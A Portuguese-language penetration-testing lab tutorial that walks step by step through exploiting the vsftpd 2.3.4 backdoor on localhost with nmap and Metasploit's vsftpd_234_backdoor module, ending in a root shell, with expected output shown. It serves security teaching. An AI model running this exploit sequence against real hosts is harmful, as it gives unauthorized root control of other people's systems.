Introdução
Neste laboratório, você assumirá o papel de um penetration tester e aprenderá a usar o Metasploit Framework para explorar uma vulnerabilidade conhecida em um serviço comum. Especificamente, você terá como alvo o vsftpd (Very Secure FTP Daemon) versão 2.3.4, que contém um famoso backdoor.
O Metasploit é um poderoso framework de código aberto para testes de penetração que simplifica o hacking. É uma ferramenta essencial para profissionais de segurança. Você seguirá o processo padrão de testes de penetração: escaneando o alvo para identificar serviços, encontrando um exploit adequado, configurando-o e lançando o ataque para obter controle do sistema alvo. Para este laboratório, sua máquina alvo será o ambiente local (localhost).
Identificar um serviço vsftpd vulnerável
Nesta etapa, você realizará reconhecimento, a primeira fase de qualquer teste de penetração. O objetivo é escanear o alvo para descobrir portas abertas e identificar as versões dos serviços em execução nelas. Esta informação é crucial para encontrar potenciais vulnerabilidades. Usaremos o nmap, uma poderosa ferramenta de escaneamento de rede, para este propósito.
Primeiro, abra um terminal. Escanearemos nossa máquina local, que atua como alvo. O endereço IP da máquina local é 127.0.0.1.
Execute o seguinte comando nmap para realizar um escaneamento de versão de serviço (-sV) no alvo:
nmap -sV 127.0.0.1
Após a conclusão do escaneamento, o nmap relatará as portas abertas e os serviços que identificou. Para este laboratório, estamos interessados no serviço FTP em execução na porta 21.
Sua saída deve ser semelhante a esta. Observe as informações de versão para o serviço FTP.
Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds
A saída mostra claramente que o vsftpd 2.3.4 está em execução na porta 21. Esta versão específica é amplamente conhecida por conter um backdoor, tornando-a um alvo ideal para o nosso exploit.
Selecionar o módulo de exploit vsftpd_234_backdoor
Nesta etapa, você iniciará o Metasploit Framework e encontrará o módulo de exploit correto para atacar o serviço vsftpd 2.3.4.
Primeiro, inicie o console do Metasploit. Usamos a flag -q (quiet) para pular o banner e iniciar mais rapidamente.
msfconsole -q
Assim que o Metasploit for carregado, você verá o prompt msf6 >. Agora, você pode pesquisar exploits relacionados ao vsftpd. Use o comando search:
search vsftpd
O Metasploit exibirá uma lista de módulos correspondentes. Você deverá ver um exploit especificamente para o backdoor no vsftpd 2.3.4.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
O módulo exploit/unix/ftp/vsftpd_234_backdoor é exatamente o que precisamos. Ele é classificado como "excellent" (excelente), o que significa que é altamente confiável. Para carregar este módulo, use o comando use seguido pelo nome completo do módulo ou seu número nos resultados da pesquisa.
use exploit/unix/ftp/vsftpd_234_backdoor
Após executar o comando, seu prompt mudará para msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, indicando que o módulo de exploit está agora ativo.
Definir a opção RHOSTS para o endereço IP do alvo
Nesta etapa, você configurará o módulo de exploit. A maioria dos módulos exige que você defina opções, como o endereço IP do alvo.
Com o módulo vsftpd_234_backdoor carregado, você pode visualizar suas opções usando o comando show options.
show options
Este comando exibirá uma tabela de todas as opções disponíveis para este módulo, suas configurações atuais e se elas são obrigatórias.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
Como você pode ver, RHOSTS (Remote Hosts) é obrigatório, mas não tem nenhum valor definido. Você precisa definir isso para o endereço IP da nossa máquina alvo, que é 127.0.0.1.
Use o comando set para configurar a opção RHOSTS:
set RHOSTS 127.0.0.1
Para confirmar que a opção foi definida corretamente, você pode executar show options novamente. Você verá que RHOSTS agora tem o valor 127.0.0.1.
Usar o comando check para verificar se o alvo é vulnerável
Nesta etapa, você usará uma maneira segura de testar se o alvo é realmente vulnerável ao exploit selecionado. O Metasploit fornece um comando check para muitos módulos, que permite verificar a vulnerabilidade sem iniciar um ataque completo. Isso é útil para evitar detecção e travamentos do sistema.
Agora que o módulo de exploit está configurado com o endereço IP do alvo, basta executar o comando check:
check
O Metasploit tentará sondar o serviço alvo para determinar se o backdoor existe. Se o alvo for vulnerável, você verá uma mensagem de confirmação.
[+] 127.0.0.1:21 - The target is vulnerable.
A mensagem [+] The target is vulnerable. confirma que o serviço vsftpd em 127.0.0.1 possui o backdoor. Você está pronto para iniciar o exploit. Se o alvo não fosse vulnerável, ele normalmente reportaria que o alvo não é explorável.
Executar o exploit e obter um shell de comando
Nesta etapa, você executará o exploit para obter acesso não autorizado ao sistema alvo. Como o comando check confirmou que o alvo é vulnerável, o exploit deve ter sucesso.
O comando para iniciar o ataque é exploit. Você também pode usar seu alias, run.
exploit
O Metasploit agora enviará o payload malicioso para o serviço vsftpd. O backdoor será acionado, abrindo um shell de comando em uma porta diferente (porta 6200 neste caso). O Metasploit se conectará a este novo shell, dando a você acesso direto à linha de comando do alvo.
A saída será semelhante a esta:
[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400
Agora você tem um shell de comando na máquina alvo! Observe que o prompt desapareceu. Você pode executar comandos como se estivesse logado diretamente no alvo. Vamos verificar nosso nível de acesso executando o comando whoami.
whoami
A saída deve ser:
root
Isso confirma que você obteve um shell root, dando a você controle total sobre o sistema alvo. Para sair do shell e retornar ao prompt do Metasploit, digite exit.
Resumo
Parabéns por completar com sucesso este laboratório! Você aprendeu o fluxo de trabalho fundamental de um teste de penetração usando o Metasploit Framework.
Neste laboratório, você:
- Usou o
nmappara realizar reconhecimento e identificar um serviçovsftpd 2.3.4vulnerável. - Iniciou o console do Metasploit e procurou por um exploit relevante.
- Selecionou e configurou o módulo de exploit
vsftpd_234_backdoordefinindo a opçãoRHOSTS. - Verificou com segurança a vulnerabilidade do alvo usando o comando
check. - Executou o comando
exploitpara obter um shell de comando em nível de root no sistema alvo.
Este exercício demonstra como uma vulnerabilidade simples e não corrigida pode levar a um comprometimento completo do sistema. Ele destaca a importância de manter o software atualizado e o poder de ferramentas como o Metasploit tanto para hackers éticos quanto para atacantes maliciosos.


